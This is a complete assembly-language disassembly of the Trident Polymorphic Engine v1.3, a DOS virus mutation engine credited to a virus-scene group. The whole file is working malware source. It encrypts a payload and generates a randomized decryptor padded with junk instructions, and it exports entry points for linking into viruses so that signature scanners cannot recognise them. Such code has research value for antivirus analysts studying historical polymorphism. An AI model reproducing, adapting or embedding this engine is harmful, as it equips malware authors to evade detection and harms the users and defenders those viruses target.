.radix 16

;=============================================================================
;                                                                            =
;                        Trident Polymorphic Engine v1.3                     =
;                        -------------------------------                     =
;                                                                            =
;            Dissassembled by: Lucifer Messiah -- ANARKICK SYSTEMS           =
;                                                                            =
;            This dissassembly uses as many of the labels from the           =
;            TPE v1.2 dissassembly as possible, to allow comparison          =
;                                                                            =
;----------------------------------------------------------------------------=
;                                                                            =
;       Trident Polymorphic Engine v1.3                                      =
;       -------------------------------                                      =
;                                                                            =
;       Input:                                                               =
;             ES        Work Segment                                         =
;             DS:DX     Code to be encrypted                                 =
;             BP        Becomes offset of TPE                                =
;             SI        Distance to put betwen decryptor and code            =
;             CX        Length of code to encrypt                            =
;             AX        Bit Field Flags:  bit 0: DS will not be equal to CS  =
;                                         bit 1: insert random instructions  =
;                                         bit 2: put junk before decryptor   =
;                                         bit 3: Preserve AX with decryptor  =
;                                                                            =
;       Output:                                                              =
;             ES        Work segment (preserved)                             =
;             DS:DX     Decryptor + encrypted code                           =
;             BP        Start of decryptor                                   =
;             DI        Length of decryuptor/offset of encrypted code        =
;             CX        Length of decryptor + encrypted code                 =
;             AX        Length of encrypted code                             =
;                                                                            =
;=============================================================================

.model tiny
.code

public          rnd_init
public          rnd_get
public          crypt
public          tpe_top
public          tpe_bottom


                org     100h

tpe_top         equ     $
                db      '[ MK / TridenT ]'      ;Encryptor name
crypt:
                push    ds                      ;save registers
                push    dx
                push    si
                push    cs
                pop     ds
                call    TPE_13

TPE_13:
                pop     si
                sub     si,offset TPE_13        ;get delta offset

                xor     di,di                   ;di=start of decryptor
                mov     byte ptr flags[si],al
                test    al,08
                je      no_push
                mov     al,50h
                stosb

no_push:
                call    rnd_get                 ;add a few bytes to cx
                and     ax,1fh
                add     cx,ax
                push    cx                      ;save length of code
                call    rnd_get                 ;get random flags
                xchg    ax,bx

;--- Flags: -----------------------------------------------
;
; 0,1   encryption method
; 2,3   which registers to use in encryption engine
; 4     use byte or word for encrypt
; 5     MOV AL, MOV AH, or MOV AX
; 6     MOV CL, MOV CH, or MOV CX
; 7     AX or DX
; 8     count up or down
; 9     ADD/SUB/INC/DEC or CMPSW/SCASW
; A     ADD/SUB or INC/DEC
;       CMPSW or SCASW
; B     offset in XOR instrucion?
; C     LOOPNZ or LOOP
;       SUB CX or DEC CX
; D     carry with crypt ADD/SUB
; E     carry with inc ADD/SUB
; F     XOR instruction value or AX/DX
;
;----------------------------------------------------------

random:
                call    rnd_not_0               ;get encryption value
                mov     word ptr xor_val[si],ax ;store it

                call    do_junk                 ;insert random instructions
                pop     cx
                mov     ax,0111h                ;make flags to remember which
                test    bl,20h                  ; MOV instructions are used
                jne     z0
                xor     al,07

z0:
                test    bl,0ch
                jne     z1
                xor     al,70h

z1:
                test    bl,40h
                jne     z2
                xor     ah,07

z2:
                test    bl,10h
                jne     z3
                and     al,73h

z3:
                test    bh,80h
                jne     z4
                and     al,70h

z4:
                mov     dx,ax

mov_lup:
                call    rnd_get                 ;put MOV instructions in a
                and     ax,000fh                ; random order
                cmp     al,0ah
                ja      mov_lup
                mov     word ptr store_mov[si],ax ; Why????
                push    cx                      ;test if MOV already done
                xchg    ax,cx
                mov     ax,0001h
                shl     ax,cl
                mov     cx,ax
                and     cx,dx
                pop     cx
                je      mov_lup
                xor     dx,ax                   ;remember which MOV done

                push    dx
                call    do_mov                  ;insert MOV instruction
                call    do_nop                  ;insert a random NOP
                pop     dx
                or      dx,dx                   ;all MOVs done?
                jne     mov_lup
                push    di                      ;save start of decryptor loop
                call    do_add_ax               ;add a value to AX in loop?
                call    do_nop
                test    bh,20h                  ;carry with ADD/SUB?
                je      no_clc
                mov     al,0f8h
                stosb

no_clc:
                mov     word ptr xor_offset[si],0000h
                call    do_xor                  ;place all loop instructions
                call    do_nop
                call    do_add
                pop     dx                      ;get start of decryptor loop
                call    do_loop
                test    byte ptr flags[si],08   ;insert POP AX??
                je      no_pop
                mov     al,58h
                stosb

no_pop:
                mov     ax,di                   ;calculate loop offset
                add     ax,bp
                pop     dx
                add     ax,dx
                sub     ax,word ptr xor_offset[si]
                push    di
                mov     di,word ptr where_len[si]
                test    bl,0ch                  ;are BL,BH used for encryption?
                jne     v2
                mov     byte ptr es:[di],al
                mov     di,word ptr where_len2[si]
                mov     byte ptr es:[di],ah
                jmp     short v3

v2:
                mov     word ptr es:[di],ax

v3:
                pop     di
                mov     dx,word ptr xor_val[si]
                mov     bp,word ptr add_val[si]
                pop     si                      ;ds:si=start of code
                pop     ds
                push    di                      ;save pointer to encrypted code
                push    cx                      ;save length of encrypted code
                test    bl,10h                  ;byte or word?
                je      blup
                inc     cx                      ;cx=# of crypts (words)
                shr     cx,1

lup:
                lodsw                           ;encrypt code (words)
                call    do_encrypt
                stosw
                loop    lup
                jmp     short klaar

blup:
                lodsb                           ;encrypt code (bytes)
                xor     dh,dh
                call    do_encrypt
                stosb
                loop    blup

klaar:
                mov     cx,di                   ;cx=length decryptor + code
                pop     ax                      ;ax=length of decrypted code
                pop     di                      ;offset encrypted code
                xor     dx,dx                   ;ds:dx=decryptor + cr. code
                push    es
                pop     ds
                retn
 
;--- Encrypt the Code -------------------------------------

do_encrypt:
                add     dx,bp
                test    bl,02
                jne     lup1
                xor     ax,dx
                retn

lup1:
                test    bl,01
                jne     lup2
                sub     ax,dx
                retn

lup2:
                add     ax,dx
                retn

;--- Generate MOV reg,xxxx --------------------------------

do_mov:
                mov     dx,word ptr mov_byte[si]
                push    bx
                mov     bx,dx
                mov     al,byte ptr mov_here[bx+si]

                pop     bx
                cmp     dl,04                   ; bx???
                jne     is_not_bx
                call    add_ind

is_not_bx:
                test    dl,0ch                  ; a*?
                pushf
                jne     is_not_a
                test    bl,80h                  ; a* or d*?
                je      is_not_a
                add     al,02

is_not_a:
                call    alter                   ; insert the MOV
                popf                            ; a*
                jne     is_not_a2
                mov     ax,word ptr xor_val[si]
                jmp     short sss

is_not_a2:
                test    dl,08                   ; b*?
                jne     is_not_b
                push    bx
                lea     bx,word ptr where_len[si]
                test    dl,02
                je      is_not_bh
                add     bx,02

is_not_bh:
                mov     word ptr [bx],di
                pop     bx
                jmp     short sss

is_not_b:
                mov     ax,cx                   ;c*?
                test    bl,10h                  ;byte or word encryption?
                je      sss
                inc     ax                      ;only half the number of bytes
                shr     ax,1

sss:
                test    dl,03                   ;byte or word register?
                je      is_x
                test    dl,02                   ;*h?
                je      is_not_h
                xchg    ah,al

is_not_h:
                stosb
                retn

is_x:
                stosw
                retn

;--- Insert MOV or alternative for MOV --------------------

alter:
                push    bx
                push    cx
                push    ax
                call    rnd_get
                xchg    ax,bx
                pop     ax
                test    bl,03                   ;use alternative for MOV?
                je      no_alter

                push    ax
                and     bx,0fh
                and     al,08
                shl     ax,1
                or      bx,ax
                pop     ax

                and     al,07
                mov     cl,09
                xchg    ax,cx
                mul     cl

                add     ax,30c0h
                xchg    ah,al
                test    bl,04
                je      no_sub
                mov     al,28h
no_sub:         call    maybe_2
                stosw

                mov     al,80h
                call    maybe_2
                stosb

                xchg    ax,bx
                and     ax,0003h
                lea     bx,word ptr alt_code[si]
                xlat                            ;AL = DS:[BX+AL]
                add     al,cl

no_alter:       stosb
                pop     cx
                pop     bx
                retn

;--- Insert ADD AX,XXXX -----------------------------------
 
do_add_ax:
                push    cx
                mov     word ptr add_val[si],0  ;save ADD value here

                mov     ax,bx
                and     ax,8110h
                xor     ax,8010h
                jne     no_add_ax               ;use ADD?

                mov     ax,bx
                xor     ah,ah
                mov     cl,03
                div     cl
                or      ah,ah
                jne     no_add_ax               ;use ADD?

                test    bl,80h
                jne     do_81C2                 ;AX or DX?
                mov     al,05
                stosb
                jmp     short do_add0

do_81C2:        mov     ax,0c281h
                stosw

do_add0:        call    rnd_get
                mov     word ptr add_val[si],ax
                stosw

no_add_ax:      pop     cx
                retn

;--- generate encryption command --------------------------

do_xor:
                test    byte ptr flags[si],01
                je      no_cs
                mov     al,2eh                  ;insert CS: instruction
                stosb

no_cs:          test    bh,80h                  ;type of XOR command
                je      xor1
                call    get_xor
                call    do_carry
                call    save_it
                xor     ax,ax
                test    bl,80h
                je      xxxx
                add     al,10h

xxxx:
                call    add_dir
                test    bh,08
                jne     yyyy
                stosb
                retn
 
yyyy:           or      al,80h
                stosb
                call    rnd_get
                stosw
                mov     word ptr xor_offset[si],ax
                retn

xor1:           mov     al,80h                  ;encrypt with value
                call    save_it
                call    get_xor
                call    do_carry
                call    xxxx
                mov     ax,word ptr xor_val[si]
                test    bl,10h
                jmp     byte_word
 
;--- generate increase/decrease command -------------------

do_add:
                test    bl,08                   ;no CMPSW/SCASW if BX is used
                je      da0
                test    bh,02                   ;ADD/SUB/INC/DEC or CMPSW/SCASW
                jne     do_cmpsw


da0:            test    bh,04                   ;ADD/SUB or INC/DEC?
                je      add1
                mov     al,40h                  ;INC/DEC

add0:
                call    add_ind
                stosb
                test    bl,10h                  ;byte or word?
                je      return
                stosb                           ;same instruction again

return:         retn

add1:           test    bh,40h                  ;ADD/SUB
                je      no_clc2                 ;carry??
                mov     al,0f8h                 ;insert CLC
                stosb

no_clc2:        mov     al,83h
                stosb
                mov     al,0c0h
                test    bh,40h
                je      add2
                and     al,0cfh
                or      al,10h

add2:           call    add_ind
                stosb
                mov     al,01
 
save_it:
                call    add_1
                stosb
                retn

do_cmpsw:       test    bh,04                   ;CMPSW or SCASW
                je      normal_cmpsw
                test    bl,04                   ;no SCASW if SI is used
                jne     do_scasw

normal_cmpsw:   mov     al,0a6h
                jmp     short save_it

do_scasw:       mov     al,0aeh
                jmp     short save_it

;--- generate LOOP command --------------------------------

do_loop:
                test    bh,01                   ;no JNE if counting down
                jne     cx_loop
                mov     al,0e0h                 ;LOOPNZ or LOOP?
                test    bh,1ah                  ; no LOOPNZ if xor-offset
                je      l10                     ; no LOOPNZ if CMP/SCASW
                add     al,02

l10:            stosb
                mov     ax,dx
                sub     ax,di
                dec     ax
                stosb
                retn

cx_loop:        test    bh,10h                  ;SUB CX or DEC CX??
                jne     cxl_dec
                mov     al,83h
                stosb
                call    rnd_get
                test    al,01
                jne     b062c9
                mov     ax,01e9h
                jmp     short asdfasdf          

b062c9:         mov     ax,0ffc1h

asdfasdf:       stosw
                jmp     short do_jne

cxl_dec:        mov     al,49h
                stosb

do_jne:         call    rnd_get
                test    al,01
                mov     al,7fh
                jne     l10
                mov     al,75h
                jmp     short l10
 
;--- add value to AL depending on register type -----------

add_dir:
                push    di
                lea     di,word ptr dir_change[si]
                jmp     short xx1

add_ind:
                push    di
                lea     di,word ptr ind_change[si]

xx1:            push    bx
                shr     bl,1
                shr     bl,1
                and     bx,03
                add     al,byte ptr [bx+di]
                pop     bx
                pop     di
                retn

;--- mov encryption command byte to AL --------------------

get_xor:
                push    bx
                xchg    ax,bx
                and     ax,0003h
                lea     bx,word ptr how_mode[si]
                xlat
                pop     bx
                retn

;--- change ADD to ADC ------------------------------------
 
do_carry:
                test    bl,02                   ;ADD/SUB used for encryption?
                je      no_ac
                test    bh,20h
                je      no_ac
                and     al,0cfh
                or      al,10h

no_ac:          retn
 
;--- change AL (byte/word) --------------------------------

add_1:
                test    bl,10h
                je      add_1_ret
                inc     al

add_1_ret:      retn
 
;--- change AL (byte/word) --------------------------------

maybe_2:
                call    add_1                   ;can't touch this
                cmp     al,81h
                je      maybe_not
                push    ax
                call    rnd_get
                test    al,01
                pop     ax
                je      maybe_not
                add     al,02

maybe_not:      retn

;--- insert random instructions ---------------------------

do_junk:
                test    byte ptr flags[si],04
                je      no_junk
                call    rnd_get                 ;put a random number of
                and     ax,000fh                ; dummy instructions before
                inc     ax                      ; decryptor
                xchg    ax,cx
junk_loop:      call    junk
                loop    junk_loop

no_junk:         retn
 
;--- Insert random nop (or not) ---------------------------

do_nop:
                test    byte ptr flags[si],02

yes_nop:        je      no_nop
                call    rnd_get
                test    al,03
                je      nop8
                test    al,02
                je      nop16
                test    al,01
                je      nop16x

no_nop:         retn
 
;--- get rough random nop (may affect register values -----

junk:
                call    rnd_get
                and     ax,001eh
                jmp     short aa0

nop16x:         call    rnd_get
                and     ax,0006h

aa0:            push    bx
                xchg    ax,bx
                call    rnd_get
                mov     bx,word ptr junk_cals[bx+si]
                add     bx,si
                call    bx
                pop     bx
                retn

;--- NOP and junk addresses -------------------------------

junk_cals:
                dw      offset nop16x0
                dw      offset nop16x1
                dw      offset nop16x2
                dw      offset nop16x3
                dw      offset nop8
                dw      offset nop16
                dw      offset junk6
                dw      offset junk7
                dw      offset junk8
                dw      offset junk9
                dw      offset junkA
                dw      offset junkB
                dw      offset junkC
                dw      offset junkD
                dw      offset junkE
                dw      offset junkF

;--- NOP and junk routines --------------------------------

nop16x0:
                add     byte ptr [si],cl        ; J* 0000 (conditional)
                jo      yes_nop                 ; Jump on Overflow
                retn

nop16x1:
                mov     al,0ebh                 ; JMP xxxx / junk
                and     ah,07
                inc     ah
                stosw
                xchg    ah,al                   ;get length of bullshit
                cbw                             ;convrt AL to AX
                jmp     fill_bullshit

nop16x2:
                call    junkD                   ; XCHG AX,reg /XCHG AX,reg
                stosb
                retn

nop16x3:
                call    junkF                   ; INC/DEC or DEC/INC
                xor     al,08
                stosb
                retn

nop8:
                push    bx
                and     al,07
                lea     bx,word ptr nop_data8[si]
                xlat                            ; AL = DS:[BX+AL]
                stosb
                pop     bx
                retn

nop16:          push    bx
                and     ax,0303h
                lea     bx,word ptr nop_data16[si]
                xlat                            ; AL = DS:[BX+AL]
                add     al,ah
                stosb
                call    rnd_get
                and     al,07
                mov     bl,09
                mul     bl
                add     al,0c0h
                stosb
                pop     bx
                retn

junk6:
                push    cx
                mov     al,0e8h                 ;CALL xxxx / junk / POP reg
                and     ah,0fh
                inc     ah
                stosw
                xor     al,al
                stosb
                xchg    ah,al
                call    fill_bullshit
                call    do_nop
                call    rnd_get                 ;insert POP reg
                and     al,07
                call    no_sp
                mov     cx,ax
                or      al,58h
                stosb

                test    ch,03                   ;more?
                jne     junk6_ret
                call    do_nop
                mov     ax,0f087h               ; insert XCHG SI,reg
                or      ah,cl
                test    ch,08
                je      j6_1
                mov     al,8bh

j6_1:           stosw
                call    do_nop
                call    rnd_get
                xchg    ax,bx
                and     bx,0f7fbh               ;insert XOR [SI],xxxx
                or      bl,08
                call    do_xor

junk6_ret:      pop     cx
                retn
 
junk7:
                and     al,0fh                  ;MOV reg,xxxx
                or      al,0b0h
                call    no_sp
                stosb
                test    al,08
                pushf
                call    rnd_get
                popf
                jmp     short byte_word

junk8:
                and     ah,39h                  ;DO r/m,r(8,16)
                or      al,0c0h
                call    no_sp
                xchg    ah,al
                stosw
                retn
 
junk9:
                and     al,3bh                  ;DO r(8/16),r/m
                or      al,02
                and     ah,3fh
                test    al,01
                je      junk9_ret
                or      ah,0c0h

junk9_ret:      call    no_sp2
                call    no_bp
                stosw
                retn

junkA:
                and     ah,01                   ;DO rm,xxxx
                or      ax,80c0h
                call    no_sp
                xchg    ah,al
                stosw
                test    al,01
                pushf
                call    rnd_get
                popf
                jmp     short byte_word

junkB:
                call    nop8                    ;NOP/LOOP
                mov     ax,0fde2h
                stosw
                retn

junkC:
                and     al,09                   ;CMPS* or SCAS*
                test    ah,01
                je      mov_test
                or      al,0a6h
                and     al,0feh
                stosb
                retn

mov_test:       or      al,0a0h                 ;MOV AX,[xxxx] or TEST AX,xxxx
                stosb
                cmp     al,0a8h
                pushf
                call    rnd_not_0
                dec     ax
                popf
                jmp     short byte_word

junkD:
                and     al,07                   ; XCHG AX,reg
                or      al,90h
                call    no_sp
                stosb
                retn


junkE:
                and     ax,0307h
                or      ax,5850h
                stosw
                retn
 
junkF:
                and     al,0fh                  ; INC/DEC
                or      al,40h
                call    no_sp
                stosb
                retn

;--- store a byte or a word -------------------------------
 
byte_word:      je      only_byte
                stosw
                retn

only_byte:      stosb
                retn
 
;--- don't fuck with sp -----------------------------------

no_sp:
                push    ax
                and     al,07
                cmp     al,04
                pop     ax
                jne     no_sp_ret
                and     al,0fbh

no_sp_ret:      retn
 
;--- don't fuck with sp -----------------------------------

no_sp2:
                push    ax
                and     ah,38h
                cmp     ah,20h
                pop     ax
                jne     no_sp2_ret
                xor     ah,20h
 
no_sp2_ret:     retn

;--- don't use [bp+..] ------------------------------------
 
no_bp:
                test    ah,04
                jne     no_bp2
                and     ah,0fdh
                retn

no_bp2:         push    ax
                and     ah,07
                cmp     ah,06
                pop     ax
                jne     no_bp_ret
                or      ah,01

no_bp_ret:      retn
 
;--- write byte for JMP/CALL and fill with random bullshit

fill_bullshit:
                push    cx
                xchg    ax,cx

bull_lup:       call    rnd_get
                stosb
                loop    bull_lup
                pop     cx
                retn

;--- random number generator ------------------------------
 
rnd_init:
                push    ax
                push    cx
                call    rnd_init0
                and     ax,000fh
                inc     ax
                xchg    ax,cx

random_lup:     call    rnd_get                 ;call random routine a few
                loop    random_lup              ; times to 'warm up'

                pop     cx
                pop     ax
                retn
 
rnd_init0:
                push    dx                      ;initialize generator
                push    cx
                mov     ah,2ch
                int     21h                     ; get time CH,CL:DH,DL
                in      al,40h                  ; timer
                mov     ah,al
                in      al,40h                  ; timer

                xor     ax,cx
                xor     dx,ax
                jmp     short move_rnd
 
rnd_not_0:
                call    rnd_get
                or      ax,ax
                je      rnd_not_0
                retn
 
rnd_get:
                push    dx                      ;calculate random number
                push    cx
                push    bx
                in      al,40h                  ;timer
                add     ax,0000h                ;ERROR: should be MOV ax,0
                mov     dx,0000h
                mov     cx,0007h

rnd_lup:        shl     ax,1
                rcl     dx,1
                mov     bl,al
                xor     bl,dh
                jns     rnd_12
                inc     al

rnd_12:         loop    rnd_lup
                pop     bx

move_rnd:       push    si
                call    mov_rnd2

mov_rnd2:
                pop     si
                mov     word ptr cs:[si-1Bh],ax ;  [si-(rnd_get+4)]
                mov     word ptr cs:[si-18h],dx ;  [si-(rnd_get+7)]
                pop     si
                mov     al,dl
                pop     cx
                pop     dx
                retn

;--- TABLES FOR ENGINE ------------------------------------

mov_byte:       db      0b8,0b0,0b4,00          ;AX,AL,AH,..
                db      0b8,0b3,0b7,00          ;BX,BL,BH,..
                db      0b9,0b1,0b5             ;CX,CL,CH

nop_data8       db      90,0f8,0f9,0f5          ;NOP,CLC,STC,CMC
                db      0fa,0fc,45,4dh          ;CLI,CLD,INC BP,DEC BP

nop_data16      db      8,20,84,88              ;OR,AND,XCHG,MOV

dir_change      db      7,7,4,5                 ;BL/BH,BX,SI,DI

ind_change      db      3,3,6,7                 ;BL/BH,BX,SI,DI

how_mode        db      30,30,0,28              ;XOR,XOR,ADD,SUB

alt_code        dw      0c0f0, 0c800            ;????, ADD AL,CL

add_val         dw      00
xor_val         dw      00
xor_offset      dw      00
where_len       dw      00
where_len2      dw      00
store_mov       dw      00
mov_here        =       $-1
flags           db      00

ID_Bytes        db      '[TPE 1.3]'
tpe_bottom      equ     $

                end     crypt